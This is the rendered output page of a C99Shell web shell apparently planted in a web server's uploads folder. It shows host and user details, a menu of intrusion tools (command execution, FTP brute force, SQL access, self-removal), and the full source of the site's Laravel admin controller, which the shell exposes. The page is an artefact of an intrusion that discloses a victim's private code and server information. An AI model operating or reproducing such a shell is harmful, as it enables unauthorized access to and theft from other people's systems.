!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/app/Http/Controllers/Admin/   drwxr-xr-x
Free 13.26 GB of 57.97 GB (22.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AdminController.php (10.29 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Admin;

use 
App\Http\Controllers\Controller;
use 
App\Models\User;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Auth;
use 
Illuminate\Support\Facades\DB;
use 
Illuminate\Support\Facades\Hash;
use 
Spatie\Permission\Models\Role;
use 
Spatie\Permission\Models\Permission;
use 
App\Models\Userplan;
use 
App\Models\Requestdomain;
use 
Spatie\Analytics;
use 
Spatie\Analytics\Period;
use 
App\Domain;
use 
Carbon\Carbon;
class 
AdminController extends Controller
{

    public function 
settings(){
        return 
view('seller.settings');
    }

    public function 
dashboard()
    {
        if (!
Auth()->user()->can('dashboard')) {
        return 
abort(401);
        }
        
$request_users=User::where([
            [
'role_id',3],
            [
'status',3]
        ])->
latest()->take(4)->get();
        
$orders=Userplan::with('user','plan_info','category')->where('status',2)->latest()->take(20)->get();

        return 
view('admin.dashboard',compact('request_users','orders'));
    }

    public function 
staticData()
    {
        
$total_subscribers=User::where('role_id',3)->count();
        
$total_domain_request=Domain::where('status',3)->count();
        
$total_earnings=Userplan::where('status','!=',0)->sum('amount');
        
$total_expired=Userplan::where('status',3)->count();
        
$total_custom_domain_request=Requestdomain::where('status',2)->count();
        
$total_domain_request=$total_domain_request+$total_custom_domain_request;

        
$year=Carbon::parse(date('Y'))->year;
        
$today=Carbon::today();

        
$earnings=Userplan::whereYear('created_at''=',$year)->where('status','!=',0)->orderBy('id''asc')->selectRaw('year(created_at) year, monthname(created_at) month, sum(amount) total')->groupBy('year''month')->get();
        
$total_earnings_this_year=Userplan::where('status','!=',0)->whereYear('created_at''=',$year)->sum('amount');


        
$orders=Userplan::whereYear('created_at''=',$year)->orderBy('id''asc')->selectRaw('year(created_at) year, monthname(created_at) month, count(*) orders')
                ->
groupBy('year''month')
                ->
get();
        
$total_order_this_year=Userplan::where('status','!=',0)->whereYear('created_at''=',$year)->count();        

        
$data['total_subscribers']=number_format($total_subscribers);
        
$data['total_domain_request']=number_format($total_domain_request);
        
$data['total_expired']=number_format($total_expired);
        
$data['total_earnings']=amount_admin_format($total_earnings);
        
$data['earnings']=$earnings;
        
$data['total_earnings_this_year']=amount_admin_format($total_earnings_this_year);
        
$data['orders']=$orders;
        
$data['total_order_this_year']=number_format($total_order_this_year);

        return 
response()->json($data);

    }

    public function 
perfomance($period)
    {
        if (
$period != 365) {
            
$earnings=Userplan::whereDate('created_at''>'Carbon::now()->subDays($period))->where('status','!=','canceled')->orderBy('id''asc')->selectRaw('year(created_at) year, date(created_at) date, sum(amount) total')->groupBy('year','date')->get();
        }
        else{
            
$earnings=Userplan::whereDate('created_at''>'Carbon::now()->subDays($period))->where('status','!=','canceled')->orderBy('id''asc')->selectRaw('year(created_at) year, monthname(created_at) month, sum(amount) total')->groupBy('year','month')->get();
        }
       
        
        return 
response()->json($earnings); 
    }

    public function 
order_statics($month)
    {
        
$month=Carbon::parse($month)->month;
        
$year=Carbon::parse(date('Y'))->year;

        
$total_orders=Userplan::whereYear('created_at''=',$year)->whereMonth('created_at''=',$month)->count();

        
$total_pending=Userplan::whereYear('created_at''=',$year)->whereMonth('created_at''=',$month)->where('status',2)->count();

        
$total_completed=Userplan::whereYear('created_at''=',$year)->whereMonth('created_at''=',$month)->where('status',1)->count();

        
$total_expired=Userplan::whereYear('created_at''=',$year)->whereMonth('created_at''=',$month)->where('status',3)->count();

        
$data['total_orders']=number_format($total_orders);
        
$data['total_pending']=number_format($total_pending);
        
$data['total_completed']=number_format($total_completed);
        
$data['total_processing']=number_format($total_expired);

        return 
response()->json($data);
    }


    public function 
google_analytics($days)
    {
        if (
file_exists('uploads/service-account-credentials.json')) {
            
$info=google_analytics_for_user();
            
            
\Config::set('analytics.view_id'$info['view_id']);
            
\Config::set('analytics.service_account_credentials_json'$info['service_account_credentials_json']);
            
$data['TotalVisitorsAndPageViews']=$this->fetchTotalVisitorsAndPageViews($days);
            
$data['MostVisitedPages']=$this->fetchMostVisitedPages($days);
            
$data['Referrers']=$this->fetchTopReferrers($days);
            
$data['fetchUserTypes']=$this->fetchUserTypes($days);
            
$data['TopBrowsers']=$this->fetchTopBrowsers($days);
        }
        else{
            
$data['TotalVisitorsAndPageViews']=[];
            
$data['MostVisitedPages']=[];
            
$data['Referrers']=[];
            
$data['fetchUserTypes']=[];
            
$data['TopBrowsers']=[];
        }
                
        return 
response()->json($data);
    }


    public function 
fetchTotalVisitorsAndPageViews($period)
    {

        return 
\Analytics::fetchTotalVisitorsAndPageViews(Period::days($period))->map(function($data)
        {
            
$row['date']=$data['date']->format('Y-m-d');
            
$row['visitors']=$data['visitors'];
            
$row['pageViews']=$data['pageViews'];
            return 
$row;
        });
        
    }
    public function 
fetchMostVisitedPages($period)
    {
        return 
\Analytics::fetchMostVisitedPages(Period::days($period));
        
    }

    public function 
fetchTopReferrers($period)
    {
        return 
\Analytics::fetchTopReferrers(Period::days($period));
        
    }

    public function 
fetchUserTypes($period)
    {
        return 
\Analytics::fetchUserTypes(Period::days($period));
        
    }

    public function 
fetchTopBrowsers($period)
    {
        return 
\Analytics::fetchTopBrowsers(Period::days($period));
        
    }

    
/**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    
public function index()
    {
        if (
Auth()->user()->can('admin.list')) {
            
$users User::where('role_id',1)->where('id','!=',1)->latest()->get();
            return 
view('admin.admin.index'compact('users'));
        }
    }

    
/**
     * Show the form for creating a new resource.
     *
     * @return \Illuminate\Http\Response
     */
    
public function create()
    {
        if (
Auth()->user()->can('admin.create')) {
            
$roles  Role::all();
            return 
view('admin.admin.create'compact('roles'));
        }
    }

    
/**
     * Store a newly created resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    
public function store(Request $request)
    {
        
// Validation Data
        
$request->validate([
            
'name' => 'required|max:50',
            
'roles' => 'required',
            
'email' => 'required|max:100|email|unique:users',
            
'password' => 'required|min:6|confirmed',
        ]);

        
// Create New User
        
$user = new User();
        
$user->name $request->name;
        
$user->email $request->email;
        
$user->role_id 1;
        
$user->password Hash::make($request->password);
        
$user->save();

        if (
$request->roles) {
            
$user->assignRole($request->roles);
        }


        return 
response()->json(['User has been created !!']);
    }

    
/**
     * Display the specified resource.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    
public function show($id)
    {
        
//
    
}

    
/**
     * Show the form for editing the specified resource.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    
public function edit($id)
    {
        if (
Auth()->user()->can('admin.edit')) {
            
$user User::find($id);
            
$roles  Role::all();
            return 
view('admin.admin.edit'compact('user''roles'));
        }
    }

    
/**
     * Update the specified resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    
public function update(Request $request$id)
    {
        
// Create New User
        
$user User::find($id);

        
// Validation Data
        
$request->validate([
            
'name' => 'required|max:50',
            
'email' => 'required|max:100|email|unique:users,email,' $id,
            
'password' => 'nullable|min:6|confirmed',
        ]);


        
$user->name $request->name;
        
$user->email $request->email;
        
$user->status $request->status;
        if (
$request->password) {
            
$user->password Hash::make($request->password);
        }
        
$user->save();

        
$user->roles()->detach();
        if (
$request->roles) {
            
$user->assignRole($request->roles);
        }


        return 
response()->json(['User has been updated !!']);
    }

    
/**
     * Remove the specified resource from storage.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    
public function destroy(Request $request)
    {

        if (
Auth()->user()->can('admin.delete')) {
            
                if (
$request->status == 'delete') {
                    if (
$request->ids) {
                        foreach (
$request->ids as $id) {
                            
User::destroy($id);
                        }
                    }
                }
                else{
                   
                    if (
$request->ids) {
                        foreach (
$request->ids as $id) {
                            
$post User::find($id);
                            
$post->status $request->status;
                            
$post->save();
                        }
                    }
                }
            
        }

        return 
response()->json('Success');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0071 ]--